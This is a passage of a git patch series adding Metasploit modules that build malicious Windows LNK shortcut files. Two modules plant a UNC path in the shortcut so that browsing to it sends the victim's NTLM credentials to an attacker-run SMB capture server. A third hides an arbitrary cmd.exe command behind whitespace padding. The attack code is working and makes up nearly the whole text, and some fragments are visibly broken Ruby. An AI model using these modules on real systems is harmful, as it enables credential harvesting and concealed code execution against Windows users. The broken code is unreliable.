path.match(/^\\\\[^\\]+\\[^\\]+$/) + fail_with(Failure::BadConfig, "UNC_PATH format invalid, expected \\\\server\\share") end - path end end \ No newline at end of file From 65549ba868aba48b06e387f79b47b20c46c99eff Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Sun, 14 Sep 2025 15:43:58 +0530 Subject: [PATCH 4/8] added: smb share server, completed: requested change --- .../fileformat/specialfolder_leak.rb | 65 +++++++++++++------ 1 file changed, 45 insertions(+), 20 deletions(-) diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb index 9460110772146..9408db6de4839 100644 --- a/modules/auxiliary/fileformat/specialfolder_leak.rb +++ b/modules/auxiliary/fileformat/specialfolder_leak.rb @@ -7,6 +7,8 @@ class MetasploitModule < Msf::Auxiliary Rank = GoodRanking include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture def initialize(info = {}) super(update_info(info, @@ -25,7 +27,7 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'https://zeifan.my/Right-Click-LNK/', - 'URL', 'https://www.exploit-db.com/exploits/42382', + 'EDB', '42382', 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb' ] ], @@ -36,8 +38,13 @@ def initialize(info = {}) register_options([ OptString.new('FILENAME', [ true, 'The LNK file name', 'msf.lnk']), - OptString.new('UNCPATH', [ true, 'UNC path that will be accessed (\\\\server\\share)', '\\\\192.168.1.1\\share']), - OptString.new('APPNAME', [ true, 'Name of the application to display', 'Testing']) + OptString.new('UNCPATH', [ false, 'UNC path that will be accessed (\\\\server\\share)', nil]), + OptString.new('APPNAME', [ false, 'Name of the application to display', nil]) + ]) + deregister_options('SRVHOST', 'SRVPORT') + register_advanced_options([ + OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on', '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, 'The local port to listen on', 445 ]) ]) end @@ -59,11 +66,11 @@ def generate_shell_link_header header << [0x00].pack('L') # Reserved2 (4 bytes) header << [0x00].pack('L') # Reserved3 (4 bytes) - return header + header end def generate_item_id(data) - return [data.length + 2].pack('S') + data + [data.length + 2].pack('S') + data end def generate_lnk_special(path, name) @@ -91,7 +98,7 @@ def generate_lnk_special(path, name) bin_data << name_utf16 bin_data << "\x00\x00".force_encoding('ASCII-8BIT') # comment - return bin_data + bin_data end def generate_linktarget_idlist(path, name) @@ -118,7 +125,7 @@ def generate_linktarget_idlist(path, name) idlist << "\x00\x00".force_encoding('ASCII-8BIT') # Full IDList with size - return [idlist.length].pack('S') + idlist + [idlist.length].pack('S') + idlist end def generate_extra_data @@ -129,7 +136,7 @@ def generate_extra_data extra << [0x28].pack('L') # Offset (4 bytes) extra << [0x00].pack('L') # TERMINAL_BLOCK (4 bytes) - return extra + extra end def ms_shllink(path, name) @@ -138,25 +145,43 @@ def ms_shllink(path, name) lnk_data << generate_linktarget_idlist(path, name) lnk_data << generate_extra_data - return lnk_data + lnk_data end def run - unc_path = datastore['UNCPATH'] app_name = datastore['APPNAME'] - - # Validate UNC path format - unless unc_path.start_with?('\\\\') - print_error("UNC path must start with \\\\ (Example: \\\\server\\share)") - return + while app_name && !app_name.empty? + require 'faker' + app_name = Faker::App.name rescue nil + rescue LoadError + app_name = nil + end + app_name ||= 'Application' end - - print_status("Creating .LNK file with UNC path: #{unc_path}") - + + unc_path = datastore['UNCPATH'] + if unc_path.nil? || unc_path.empty? + self.share_name = random_share_name + self.smb_srvhost = datastore['SRVHOST'] + self.smb_srvport = datastore['SRVPORT'] + self.capture_hashes = true + start_service + unc_path = "\\\\#{datastore['SRVHOST']}\\#{share_name}" + else + unless unc_path.match(/^\\\\[^\\]+\\[^\\]+$/) + fail_with(Failure::BadConfig, "UNCPATH format invalid, expected \\\\server\\share") + end + end + lnk_data = ms_shllink(unc_path, app_name) - file_create(lnk_data) print_good("LNK file created: #{datastore['FILENAME']}") - print_status("Set up a listener (e.g., auxiliary/server/capture/smb) to capture the authentication") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + end + + def random_share_name + "share#{Rex::Text.rand_text_alphanumeric(6)}" + end + end \ No newline at end of file From 97495cdaa422b46fc7c0d3ee0f9ccb78ca253c1c Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Sun, 14 Sep 2025 23:28:17 +0530 Subject: [PATCH 5/8] fixed: rubocop offenses --- .../fileformat/datablock_padding_lnk.rb | 309 +++++++++--------- 1 file changed, 153 insertions(+), 156 deletions(-) diff --git a/modules/auxiliary/fileformat/datablock_padding_lnk.rb b/modules/auxiliary/fileformat/datablock_padding_lnk.rb index 81a0f399479fd..c8372b813e2f3 100644 --- a/modules/auxiliary/fileformat/datablock_padding_lnk.rb +++ b/modules/auxiliary/fileformat/datablock_padding_lnk.rb @@ -4,171 +4,168 @@ ## class MetasploitModule < Msf::Auxiliary - include Msf::Exploit::FILEFORMAT - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Windows Shortcut (LNK) Padding', - 'Description' => %q{ + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Windows Shortcut (LNK) Padding', + 'Description' => %q{ This module generates Windows LNK (shortcut) file that can execute - arbitrary commands. The LNK file uses environment variables and execute - its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace + arbitrary commands. The LNK file uses environment variables and execute + its arguments from COMMAND_LINE_ARGUMENTS with extra juicy whitespace character padding bytes and concatenates the actual payload. }, - 'License' => MSF_LICENSE, - 'Author' => [ 'Nafiez' ], - 'References' => [ + 'License' => MSF_LICENSE, + 'Author' => [ 'Nafiez' ], + 'References' => [ ['ZDI', 'ZDI-CAN-25373'], ['URL', 'https://zeifan.my/Windows-LNK/'], ['URL', 'https://gist.github.com/nafiez/1236cc4c808a489e60e2927e0407c8d1'], ['URL', 'https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html'] ], - 'Platform' => 'win', - 'Targets' => [ [ 'Windows', {} ] ], - 'DefaultTarget' => 0, + 'Platform' => 'win', + 'Targets' => [ [ 'Windows', {} ] ], + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + }, 'DisclosureDate' => '2025-07-19' - )) - - register_options([ - OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), - OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), - OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]), - OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]), - OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ]) - ]) - end - - def run - filename = datastore['FILENAME'] - command = datastore['COMMAND'] - description = datastore['DESCRIPTION'] - icon_path = datastore['ICON_PATH'] - - unless description && !description.empty? - require 'faker' - description = Faker::Lorem.sentence(word_count: 3) rescue nil - rescue LoadError - description = nil - end - description ||= 'Shortcut' - end - - unless icon_path && !icon_path.empty? - require 'faker' - icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}") rescue nil - rescue LoadError - icon_path = nil - end - icon_path ||= '%SystemRoot%\\System32\\shell32.dll' - end - - buffer_size = datastore['BUFFER_SIZE'] - - print_status("Generating LNK file: #{filename}") - - lnk_data = generate_lnk_file(command, description, icon_path, buffer_size) - - file_create(lnk_data) - - print_good("Successfully created #{filename}") - print_status("Command line buffer size: #{buffer_size} bytes") - print_status("Target command: #{command}") - end - - private - - def generate_lnk_file(command, description, icon_path, buffer_size) - data = "".force_encoding('ASCII-8BIT') - data << create_shell_link_header() - data << create_string_data(description) - - cmd_buffer = create_command_buffer(command, buffer_size) - - data << create_string_data(cmd_buffer) - data << create_string_data(icon_path) - data << create_environment_block() - - return data - end - - def create_shell_link_header - header = "".force_encoding('ASCII-8BIT') - header << [0x0000004C].pack('V') - header << [0x00021401].pack('V') - header << [0x0000].pack('v') - header << [0x0000].pack('v') - header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8') - - link_flags = 0x00000004 | - 0x00000020 | - 0x00000040 | - 0x00000080 | - 0x00000200 | - 0x02000000 - - header << [link_flags].pack('V') - header << [0x00000000].pack('V') - header << [0x00000000, 0x00000000].pack('VV') - header << [0x00000000, 0x00000000].pack('VV') - header << [0x00000000, 0x00000000].pack('VV') - header << [0].pack('V') - header << [0].pack('V') - header << [0x00000007].pack('V') - header << [0].pack('v') - header << [0].pack('v') - header << [0].pack('V') - header << [0].pack('V') - - return header - end - - def create_string_data(str) - data = "".force_encoding('ASCII-8BIT') - - data << [str.length].pack('v') - - unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT') - data << unicode_str - - return data + ) + ) + + register_options([ + OptString.new('FILENAME', [ true, 'The LNK filename to generate', 'poc.lnk' ]), + OptString.new('COMMAND', [ true, 'Command to execute', 'C:\\Windows\\System32\\calc.exe' ]), + OptString.new('DESCRIPTION', [ false, 'LNK file description', nil ]), + OptString.new('ICON_PATH', [ false, 'Icon path for the LNK file', nil]), + OptInt.new('BUFFER_SIZE', [ true, 'Buffer size before payload', 900 ]) + ]) + end + + def run + filename = datastore['FILENAME'] + command = datastore['COMMAND'] + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + + unless description && !description.empty? + require 'faker' + description = Faker::Lorem.sentence(word_count: 3) + description ||= 'Shortcut' end - - def create_command_buffer(command, buffer_size) - cmd_command = "/c #{command}" - - cmd_len = cmd_command.length - fill_bytes = buffer_size - cmd_len - - if fill_bytes > 0 - buffer = " " * fill_bytes + cmd_command - else - buffer = cmd_command - end - - buffer = buffer[0, buffer_size] if buffer.length > buffer_size - buffer << "\x00" - - return buffer + + unless icon_path && !icon_path.empty? + require 'faker' + icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'icon')}.to_s") + icon_path ||= '%SystemRoot%\\System32\\shell32.dll' end - - def create_environment_block - data = "".force_encoding('ASCII-8BIT') - - block_size = 0x00000314 - data << [block_size].pack('V') - - signature = 0xA0000001 - data << [signature].pack('V') - - env_path = "%windir%\\system32\\cmd.exe" - - ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT') - data << ansi_buffer - - unicode_buffer = env_path.encode('UTF-16LE') - unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') - data << unicode_buffer - - data + + buffer_size = datastore['BUFFER_SIZE'] + + print_status("Generating LNK file: #{filename}") + + lnk_data = generate_lnk_file(command, description, icon_path, buffer_size) + + file_create(lnk_data) + + print_good("Successfully created #{filename}") + print_status("Command line buffer size: #{buffer_size} bytes") + print_status("Target command: #{command}") + end + + private + + def generate_lnk_file(command, description, icon_path, buffer_size) + data = ''.force_encoding('ASCII-8BIT') + data << create_shell_link_header + data << create_string_data(description) + + cmd_buffer = create_command_buffer(command, buffer_size) + + data << create_string_data(cmd_buffer) + data << create_string_data(icon_path) + data << create_environment_block + + return data + end + + def create_shell_link_header + header = ''.force_encoding('ASCII-8BIT') + header << [0x0000004C].pack('V') + header << [0x00021401].pack('V') + header << [0x0000].pack('v') + header << [0x0000].pack('v') + header << [0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('C8') + + link_flags = 0x00000004 | 0x00000020 | 0x00000040 | 0x00000080 | 0x00000200 | 0x02000000 + + header << [link_flags].pack('V') + header << [0x00000000].pack('V') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0x00000000, 0x00000000].pack('VV') + header << [0].pack('V') + header << [0].pack('V') + header << [0x00000007].pack('V') + header << [0].pack('v') + header << [0].pack('v') + header << [0].pack('V') + header << [0].pack('V') + + return header + end + + def create_string_data(str) + data = ''.force_encoding('ASCII-8BIT') + + data << [str.length].pack('v') + + unicode_str = str.encode('UTF-16LE').force_encoding('ASCII-8BIT') + data << unicode_str + + return data + end + + def create_command_buffer(command, buffer_size) + cmd_command = "/c #{command}" + + cmd_len = cmd_command.length + fill_bytes = buffer_size - cmd_len + + if fill_bytes > 0 + buffer = ' ' * fill_bytes + cmd_command + else + buffer = cmd_command end - end \ No newline at end of file + + buffer = buffer[0, buffer_size] if buffer.length > buffer_size + buffer << "\x00" + + return buffer + end + + def create_environment_block + data = ''.force_encoding('ASCII-8BIT') + + block_size = 0x00000314 + data << [block_size].pack('V') + + signature = 0xA0000001 + data << [signature].pack('V') + + env_path = '%windir%\\system32\\cmd.exe' + + ansi_buffer = env_path.ljust(260, "\x00")[0, 260].force_encoding('ASCII-8BIT') + data << ansi_buffer + + unicode_buffer = env_path.encode('UTF-16LE') + unicode_buffer = unicode_buffer.ljust(520, "\x00".force_encoding('UTF-16LE'))[0, 520].force_encoding('ASCII-8BIT') + data << unicode_buffer + + data + end +end From 2ea4f7cdb03517119024e4085e027a22c547de89 Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Sun, 14 Sep 2025 23:35:46 +0530 Subject: [PATCH 6/8] fixed: rubocop offenses (file: icon_environment_datablock_leak.rb) --- .../icon_environment_datablock_leak.rb | 388 +++++++++--------- 1 file changed, 189 insertions(+), 199 deletions(-) diff --git a/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb index bb29d2eb3a73a..8198bc951d602 100644 --- a/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb +++ b/modules/auxiliary/fileformat/icon_environment_datablock_leak.rb @@ -4,222 +4,212 @@ ## class MetasploitModule < Msf::Auxiliary - Rank = GoodRanking - - include Msf::Exploit::FILEFORMAT - include Msf::Exploit::Remote::SMB::Server::Share - include Msf::Exploit::Remote::SMB::Server::HashCapture - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak', - 'Description' => %q{ + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IconEnvironmentDataBlock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ This module creates a malicious Windows shortcut (LNK) file that - specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) - that can trigger an authentication attempt to a remote server. This can be used + specifies a special UNC path in IconEnvironmentDataBlock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used to harvest NTLM authentication credentials. - - When a victim browse to the location of the LNK file, it will attempt to - connect to the the specified UNC path, resulting in an SMB connection that + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that can be captured to harvest credentials. }, - 'License' => MSF_LICENSE, - 'Author' => [ + 'License' => MSF_LICENSE, + 'Author' => [ 'Nafiez', # Original POC & MSF Module ], - 'References' => [ + 'References' => [ ['URL', 'https://zeifan.my/Right-Click-LNK/'] ], - 'Platform' => 'win', - 'Targets' => [ + 'Platform' => 'win', + 'Targets' => [ ['Windows', {}] ], - 'DefaultTarget' => 0, + 'DefaultTarget' => 0, 'DisclosureDate' => '2025-05-16', - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'SideEffects' => [IOC_IN_LOGS], - 'Reliability' => [REPEATABLE_SESSION] + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] } - )) - - register_options([ - OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), - OptString.new('UNC_PATH', [false, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', nil]), - OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]), - OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]), - OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]) - ]) - deregister_options('SRVHOST', 'SRVPORT') - register_advanced_options([ - OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on', '0.0.0.0']), - OptPort.new('SRVPORT', [true, 'The local port to listen on', 445]) - ]) + ) + ) + + register_options([ + OptString.new('FILENAME', [true, 'The LNK file name', 'msf.lnk']), + OptString.new('UNC_PATH', [false, 'The UNC path for credentials capture (e.g., \\\\192.168.1.1\\share)', nil]), + OptString.new('DESCRIPTION', [false, 'The shortcut description', nil]), + OptString.new('ICON_PATH', [false, 'The icon path to use (not necessary using real ICON)', nil]), + OptInt.new('PADDING_SIZE', [false, 'Size of padding in command arguments', 10]) + ]) + deregister_options('SRVHOST', 'SRVPORT') + register_advanced_options([ + OptAddressLocal.new('SRVHOST', [true, 'The local host to listen on', '0.0.0.0']), + OptPort.new('SRVPORT', [true, 'The local port to listen on', 445]) + ]) + end + + def run + print_status("Creating '#{datastore['FILENAME']}' file...") + + description = datastore['DESCRIPTION'] + icon_path = datastore['ICON_PATH'] + + unless description && !description.empty? + require 'faker' + description = Faker::Lorem.sentence(word_count: 3) + description ||= 'Shortcut' end - - def run - print_status("Creating '#{datastore['FILENAME']}' file...") - - description = datastore['DESCRIPTION'] - icon_path = datastore['ICON_PATH'] - - unless description && !description.empty? - require 'faker' - description = Faker::Lorem.sentence(word_count: 3) rescue nil - rescue LoadError - description = nil - end - description ||= 'Shortcut' - end - - unless icon_path && !icon_path.empty? - require 'faker' - icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'ico')}") rescue nil - rescue LoadError - icon_path = nil - end - icon_path ||= '%SystemRoot%\\System32\\shell32.dll' - end - - unc_path = datastore['UNC_PATH'] - if unc_path.nil? || unc_path.empty? - start_smb_capture_server - unc_path = "\\\\#{datastore['SRVHOST']}\\#{random_share_name}" - else - validate_or_fail_unc!(unc_path) - end - - @resolved_description = description - @resolved_icon_path = icon_path - @resovled_unc_path = unc_path - lnk_data = create_lnk_file - file_create(lnk_data) - print_good("LNK file created: #{datastore['FILENAME']}") - print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + unless icon_path && !icon_path.empty? + require 'faker' + icon_path = File.join('%SystemRoot%\\System32', "#{Faker::File.file_name(ext: 'ico')}.to_s") + icon_path ||= '%SystemRoot%\\System32\\shell32.dll' end - - def create_lnk_file - begin - data = "".b - - # LNK header - 76 bytes - header = "\x4C\x00\x00\x00".b - - # LinkCLSID (00021401-0000-0000-C000-000000000046) - header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b - - # Define LinkFlags - link_flags = 0x00000000 - link_flags |= 0x00000004 # HAS_NAME - link_flags |= 0x00000020 # HAS_ARGUMENTS - link_flags |= 0x00000040 # HAS_ICON_LOCATION - link_flags |= 0x00000080 # IS_UNICODE - link_flags |= 0x00004000 # HAS_EXP_ICON - - header += [link_flags].pack('V') - - # FileAttributes (FILE_ATTRIBUTE_NORMAL) - header += "\x20\x00\x00\x00".b - - # CreationTime, AccessTime, WriteTime (zeroed) - header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 - - # FileSize - header += "\x00\x00\x00\x00".b - - # IconIndex - header += "\x00\x00\x00\x00".b - - # ShowCommand (SW_SHOWNORMAL) - header += "\x01\x00\x00\x00".b - - # HotKey - header += "\x00\x00".b - - # Reserved fields - header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b - - # Add the header to our binary data - data += header - - # NAME field (description in Unicode) - description = @resolved_description.to_s - description_utf16 = description.encode('UTF-16LE').b - data += [description_utf16.bytesize / 2].pack('v') - data += description_utf16 - - # ARGUMENTS field (command line arguments in Unicode) - padding_size = datastore['PADDING_SIZE'] - cmd_args = " " * padding_size - cmd_args_utf16 = cmd_args.encode('UTF-16LE').b - data += [cmd_args_utf16.bytesize / 2].pack('v') - data += cmd_args_utf16 - - # ICON LOCATION field (icon path in Unicode) - icon_path = @resolved_icon_path.to_s - icon_path_utf16 = icon_path.encode('UTF-16LE').b - data += [icon_path_utf16.bytesize / 2].pack('v') - data += icon_path_utf16 - - # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE - env_block_size = 0x00000314 # Total size of this block - env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE - - data += [env_block_size].pack('V') - data += [env_block_sig].pack('V') - - # Target field in ANSI (260 bytes) - unc_path = @resovled_unc_path.to_s - - # Create fixed-size ANSI buffer with nulls - ansi_buffer = "\x00".b * 260 - - # Copy the UNC path bytes into the buffer - unc_path.bytes.each_with_index do |byte, i| - ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize - end - - data += ansi_buffer - - # Target field in Unicode (520 bytes) - unc_path_utf16 = unc_path.encode('UTF-16LE').b - - # Create fixed-size Unicode buffer with nulls - unicode_buffer = "\x00".b * 520 - - # Copy the UTF-16LE encoded UNC path bytes into the buffer - unc_path_utf16.bytes.each_with_index do |byte, i| - unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize - end - - data += unicode_buffer - - data += "\x00\x00\x00\x00".b - - data - rescue => e - print_error("Error in create_lnk_file: #{e.message}") - print_error("#{e.backtrace.join("\n")}") - raise e - end + + unc_path = datastore['UNC_PATH'] + if unc_path.nil? || unc_path.empty? + start_smb_capture_server + unc_path = "\\\\#{datastore['SRVHOST']}\\#{random_share_name}" + else + validate_or_fail_unc!(unc_path) end - - def start_smb_capture_server - self.share_name = random_share_name - self.smb_srvhost = datastore['SRVHOST'] - self.smb_srvport = datastore['SRVPORT'] - self.capture_hashes = true - start_service + + @resolved_description = description + @resolved_icon_path = icon_path + @resovled_unc_path = unc_path + lnk_data = create_lnk_file + file_create(lnk_data) + print_good("LNK file created: #{datastore['FILENAME']}") + print_status("Listening for hashes on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") + end + + def create_lnk_file + data = ''.b + + # LNK header - 76 bytes + header = "\x4C\x00\x00\x00".b + + # LinkCLSID (00021401-0000-0000-C000-000000000046) + header += "\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46".b + + # Define LinkFlags + link_flags = 0x00000000 + link_flags |= 0x00000004 # HAS_NAME + link_flags |= 0x00000020 # HAS_ARGUMENTS + link_flags |= 0x00000040 # HAS_ICON_LOCATION + link_flags |= 0x00000080 # IS_UNICODE + link_flags |= 0x00004000 # HAS_EXP_ICON + + header += [link_flags].pack('V') + + # FileAttributes (FILE_ATTRIBUTE_NORMAL) + header += "\x20\x00\x00\x00".b + + # CreationTime, AccessTime, WriteTime (zeroed) + header += ("\x00\x00\x00\x00\x00\x00\x00\x00".b) * 3 + + # FileSize + header += "\x00\x00\x00\x00".b + + # IconIndex + header += "\x00\x00\x00\x00".b + + # ShowCommand (SW_SHOWNORMAL) + header += "\x01\x00\x00\x00".b + + # HotKey + header += "\x00\x00".b + + # Reserved fields + header += "\x00\x00".b + "\x00\x00\x00\x00".b + "\x00\x00\x00\x00".b + + # Add the header to our binary data + data += header + + # NAME field (description in Unicode) + description = @resolved_description.to_s + description_utf16 = description.encode('UTF-16LE').b + data += [description_utf16.bytesize / 2].pack('v') + data += description_utf16 + + # ARGUMENTS field (command line arguments in Unicode) + padding_size = datastore['PADDING_SIZE'] + cmd_args = ' ' * padding_size + cmd_args_utf16 = cmd_args.encode('UTF-16LE').b + data += [cmd_args_utf16.bytesize / 2].pack('v') + data += cmd_args_utf16 + + # ICON LOCATION field (icon path in Unicode) + icon_path = @resolved_icon_path.to_s + icon_path_utf16 = icon_path.encode('UTF-16LE').b + data += [icon_path_utf16.bytesize / 2].pack('v') + data += icon_path_utf16 + + # ExtraData section - ICON ENVIRONMENT DATABLOCK SIGNATURE + env_block_size = 0x00000314 # Total size of this block + env_block_sig = 0xA0000007 # ICON_ENVIRONMENT_DATABLOCK_SIGNATURE + + data += [env_block_size].pack('V') + data += [env_block_sig].pack('V') + + # Target field in ANSI (260 bytes) + unc_path = @resovled_unc_path.to_s + + # Create fixed-size ANSI buffer with nulls + ansi_buffer = "\x00".b * 260 + + # Copy the UNC path bytes into the buffer + unc_path.bytes.each_with_index do |byte, i| + ansi_buffer.setbyte(i, byte) if i < ansi_buffer.bytesize end - def random_share_name - "share#{Rex::Text.rand_text_alphanumeric(6)}" + data += ansi_buffer + + # Target field in Unicode (520 bytes) + unc_path_utf16 = unc_path.encode('UTF-16LE').b + + # Create fixed-size Unicode buffer with nulls + unicode_buffer = "\x00".b * 520 + + # Copy the UTF-16LE encoded UNC path bytes into the buffer + unc_path_utf16.bytes.each_with_index do |byte, i| + unicode_buffer.setbyte(i, byte) if i < unicode_buffer.bytesize end - - def validate_or_fail_unc!(path) - unless path.match(/^\\\\[^\\]+\\[^\\]+$/) - fail_with(Failure::BadConfig, "UNC_PATH format invalid, expected \\\\server\\share") - end + + data += unicode_buffer + + data += "\x00\x00\x00\x00".b + + data + end + + def start_smb_capture_server + self.share_name = random_share_name + self.smb_srvhost = datastore['SRVHOST'] + self.smb_srvport = datastore['SRVPORT'] + self.capture_hashes = true + start_service + end + + def random_share_name + "share#{Rex::Text.rand_text_alphanumeric(6)}" + end + + def validate_or_fail_unc!(path) + unless path.match(/^\\\\[^\\]+\\[^\\]+$/) + fail_with(Failure::BadConfig, 'UNC_PATH format invalid, expected \\\\server\\share') end - end \ No newline at end of file + end +end From aa264f59d43f9d9071ab0d23d26d7b23ab712785 Mon Sep 17 00:00:00 2001 From: happybear-21 Date: Sun, 14 Sep 2025 23:45:32 +0530 Subject: [PATCH 7/8] fixed: rubocop offenses (file: specialfolder_leak.rb) --- .../fileformat/specialfolder_leak.rb | 334 +++++++++--------- 1 file changed, 169 insertions(+), 165 deletions(-) diff --git a/modules/auxiliary/fileformat/specialfolder_leak.rb b/modules/auxiliary/fileformat/specialfolder_leak.rb index 9408db6de4839..1734ef82c5168 100644 --- a/modules/auxiliary/fileformat/specialfolder_leak.rb +++ b/modules/auxiliary/fileformat/specialfolder_leak.rb @@ -4,184 +4,188 @@ ## class MetasploitModule < Msf::Auxiliary - Rank = GoodRanking - - include Msf::Exploit::FILEFORMAT - include Msf::Exploit::Remote::SMB::Server::Share - include Msf::Exploit::Remote::SMB::Server::HashCapture - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak', - 'Description' => %q{ + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::SMB::Server::Share + include Msf::Exploit::Remote::SMB::Server::HashCapture + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak', + 'Description' => %q{ This module creates a malicious Windows shortcut (LNK) file that - specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) - that can trigger an authentication attempt to a remote server. This can be used + specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) + that can trigger an authentication attempt to a remote server. This can be used to harvest NTLM authentication credentials. - - When a victim browse to the location of the LNK file, it will attempt to - connect to the the specified UNC path, resulting in an SMB connection that + + When a victim browse to the location of the LNK file, it will attempt to + connect to the the specified UNC path, resulting in an SMB connection that can be captured to harvest credentials. }, - 'Author' => [ 'Nafiez' ], - 'License' => MSF_LICENSE, - 'References' => [ - [ 'URL', 'https://zeifan.my/Right-Click-LNK/', + 'Author' => [ 'Nafiez' ], + 'License' => MSF_LICENSE, + 'References' => [ + [ + 'URL', 'https://zeifan.my/Right-Click-LNK/', 'EDB', '42382', 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb' ] ], - 'Platform' => 'win', - 'Targets' => [ [ 'Windows Universal', {} ] ], + 'Platform' => 'win', + 'Targets' => [ [ 'Windows Universal', {} ] ], + 'Notes' => { + 'Stability' => [], + 'Reliability' => [], + 'SideEffects' => [] + }, 'DisclosureDate' => '2025-05-10' # Disclosed to MSRC on 2025-05-10 - )) - - register_options([ - OptString.new('FILENAME', [ true, 'The LNK file name', 'msf.lnk']), - OptString.new('UNCPATH', [ false, 'UNC path that will be accessed (\\\\server\\share)', nil]), - OptString.new('APPNAME', [ false, 'Name of the application to display', nil]) - ]) - deregister_options('SRVHOST', 'SRVPORT') - register_advanced_options([ - OptAddressLocal.new('SRVHOST', [ true, 'The local host to listen on', '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, 'The local port to listen on', 445 ]) - ]) - end - - def generate_shell_link_header - header = '' - header << [0x4C].pack('L') # HeaderSize (4 bytes) - header << [0x00021401, 0x0000, 0x0000, # LinkCLSID (16 bytes) - 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack('LSSCCCCCCCC') - header << [0x81].pack('L') # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode - header << [0x00].pack('L') # FileAttributes (4 bytes) - header << [0x00].pack('Q') # CreationTime (8 bytes) - header << [0x00].pack('Q') # AccessTime (8 bytes) - header << [0x00].pack('Q') # WriteTime (8 bytes) - header << [0x00].pack('L') # FileSize (4 bytes) - header << [0x00].pack('L') # IconIndex (4 bytes) - header << [0x00].pack('L') # ShowCommand (4 bytes) - header << [0x00].pack('S') # HotKey (2 bytes) - header << [0x00].pack('S') # Reserved1 (2 bytes) - header << [0x00].pack('L') # Reserved2 (4 bytes) - header << [0x00].pack('L') # Reserved3 (4 bytes) - - header - end - - def generate_item_id(data) - [data.length + 2].pack('S') + data - end - - def generate_lnk_special(path, name) 